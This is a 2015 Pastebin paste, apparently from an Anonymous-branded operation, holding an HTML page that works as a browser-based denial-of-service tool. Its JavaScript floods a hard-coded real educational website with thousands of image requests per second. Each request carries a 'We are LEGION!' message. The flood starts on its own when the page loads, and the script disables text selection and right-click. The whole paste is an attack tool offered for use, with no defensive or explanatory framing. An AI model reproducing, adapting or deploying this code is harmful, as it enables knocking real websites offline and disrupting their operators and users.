Anon-T

#Op-TwainEDU

Aug 1st, 2015
1,033
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 4.99 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>[Co-#Op - TwainEDU] -- [Dev By Messiah-T]</title>
  6. <style type="text/css">
  7. body {
  8.     background: url("http://dl.dropbox.com/u/29637731/H4X0R3D/background.png");
  9.     background-repeat: repeat;
  10.     background-position: right;
  11.     background-attachment: fixed;
  12.     margin-top: 5%;
  13.     margin-bottom: 5%;
  14.     margin-left: 15%;
  15.     margin-right: 15%;
  16.     font-family:"Courier New", Courier, monospace;
  17.     color: #808080;
  18. }
  19. fieldset {
  20.     border-style: none;
  21.     margin: 10px;
  22. }
  23. p {
  24.     margin: 0;
  25. }
  26. input {
  27.     margin: 0;
  28.     background-color: transparent;
  29.     border: none;
  30.     text-align: center;
  31.     font-family:"Courier New", Courier, monospace;
  32.     color: #808080;
  33. }
  34. </style>
  35. <script language="JavaScript">
  36. <!-- Disable
  37.     function disableselect(e){
  38.         return false
  39.     }
  40.     function reEnable(){
  41.         return true
  42.     }
  43. //if IE4+
  44. document.onselectstart=new Function ("return false")
  45. document.oncontextmenu=new Function ("return false")
  46. //if NS6
  47. if (window.sidebar){
  48.     document.onmousedown=disableselect
  49.     document.onclick=reEnable
  50. }
  51. //-->
  52. </script>
  53. </head>
  54. <body onLoad="type()">
  55. <fieldset>
  56. <div id="title" align="center"><font size="+3" color="#FF0000">[</font><font size="+3">Co-</font><font size="+3" color="#FF0000">#</font><font size="+3">Ops - hkindigenous</font><font size="+3" color="#FF0000">] -- [</font><font size="+3">Dev By Messiah-T</font><font size="+3" color="#FF0000">]</font></div>
  57. <br><br>
  58.  
  59. <div id="hive" align="center">
  60. <font color="#FF0000">[</font>TARGET<font color="#FF0000">]</font><br>
  61. <input name="target" id="target" size="100" value="http://epaper.edu.tw/"><br><br>
  62. <font color="#FF0000">[</font>REQUESTS<font color="#FF0000">]</font><br>
  63. <input id="requests" size="100" value="5000"><br><br>
  64. <font color="#FF0000">[</font>MESSAGE<font color="#FF0000">]</font><br>
  65. <input id="message" size="100" value="We are LEGION!"><br><br>
  66. <font color="#FF0000">[</font>STATUS<font color="#FF0000">]</font><br>
  67.  
  68. REQUESTS <p id="requested">0</p>
  69. SUCCEDED <p id="succeeded">0</p>
  70. FAILED <p id="failed">0</p><br>
  71. <button id="fire" style="background-color:#000000; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); display:none;"> STOP! </button><br><br><br>
  72. </div>
  73. <script>
  74. (function () {
  75.     var fireInterval;
  76.     var isFiring = false;
  77.     var currentTime = new Date();
  78.     var lastSuccess = currentTime.getTime();
  79.  
  80.     var requestedNode = document.getElementById("requested"),
  81.         succeededNode = document.getElementById("succeeded"),
  82.         failedNode = document.getElementById("failed"),
  83.         targetNode = document.getElementById("target"),
  84.         fire = document.getElementById("fire"),
  85.         messageNode = document.getElementById("message"),
  86.         requestsNode = document.getElementById("requests"),
  87.         timeoutNode = document.getElementById("timeout");
  88.  
  89.     var target = targetNode.value;
  90.         targetNode.onchange = function () {
  91.         target = this.value;
  92.     };
  93.  
  94.     var requestsHT = {};
  95.  
  96.     var requested = 0,
  97.         succeeded = 0,
  98.         failed = 0;
  99.  
  100.     var makeHttpRequest = function () {
  101.         if ( (currentTime.getTime()-lastSuccess) > 10000) {
  102.             return;
  103.         } else {
  104.             lastSuccess = currentTime.getTime();
  105.         };
  106.  
  107.     var rID =Number(new Date());
  108.  
  109.     var img = new Image();
  110.         img.onerror = function () { onFail(rID); };
  111.         img.onabort = function () { onFail(rID); };
  112.         img.onload = function () { onSuccess(rID); };
  113.         img.setAttribute("src", target + "?id=" + rID + "&msg=" + messageNode.value);
  114.         requestsHT[rID] = img;
  115.         onRequest(rID);
  116.         };
  117.  
  118.     var onRequest = function (rID) {
  119.         requested++;
  120.         requestedNode.innerHTML = requested;
  121.         };
  122.  
  123.     var onComplete = function (rID) {
  124.     delete requestsHT[rID];
  125.     };
  126.  
  127.     var onFail = function (rID) {
  128.         // failedCtr++;
  129.         //failedCtrNode.innerHTML = failedCtr;
  130.         succeeded++; //Seems like the url will always fail it it isn't an image
  131.         succeededNode.innerHTML = succeeded;
  132.     delete requestsHT[rID];
  133.     };
  134.  
  135.     var onSuccess = function (rID) {
  136.         succeeded++;
  137.         succeededNode.innerHTML = succeeded;
  138.         delete requestsHT[rID];
  139.     };
  140.  
  141.     fire.onclick = function () {
  142.         if (isFiring) {
  143.             clearInterval(fireInterval);
  144.             isFiring = false;
  145.             this.innerHTML = "FIRE!";
  146.         } else {
  147.             isFiring = true;
  148.             this.innerHTML = "STOP!";
  149.             fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(requestsNode.value) | 0));
  150.             }
  151.         };
  152.  
  153.     function start() {
  154.         if (isFiring) {
  155.             clearInterval(fireInterval);
  156.             isFiring = false;
  157.             this.innerHTML = "FIRE!";
  158.         } else {
  159.             isFiring = true;
  160.             this.innerHTML = "STOP";
  161.             fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(requestsNode.value) | 0));
  162.         }
  163.     };
  164.     document.getElementById("target").value = "http://epaper.edu.tw/";
  165.     start();
  166.     })();
  167. </script>
  168. <div id="footer" align="center"><font color="#FF0000"># [</font>P5YKH3R<font color="#FF0000">] -- [</font>ANONYMOUS<font color="#FF0000">] #</font></div>
  169.  
  170. </fieldset>
  171. </body>
  172. </html>
Advertisement
Add Comment
Please, Sign In to add comment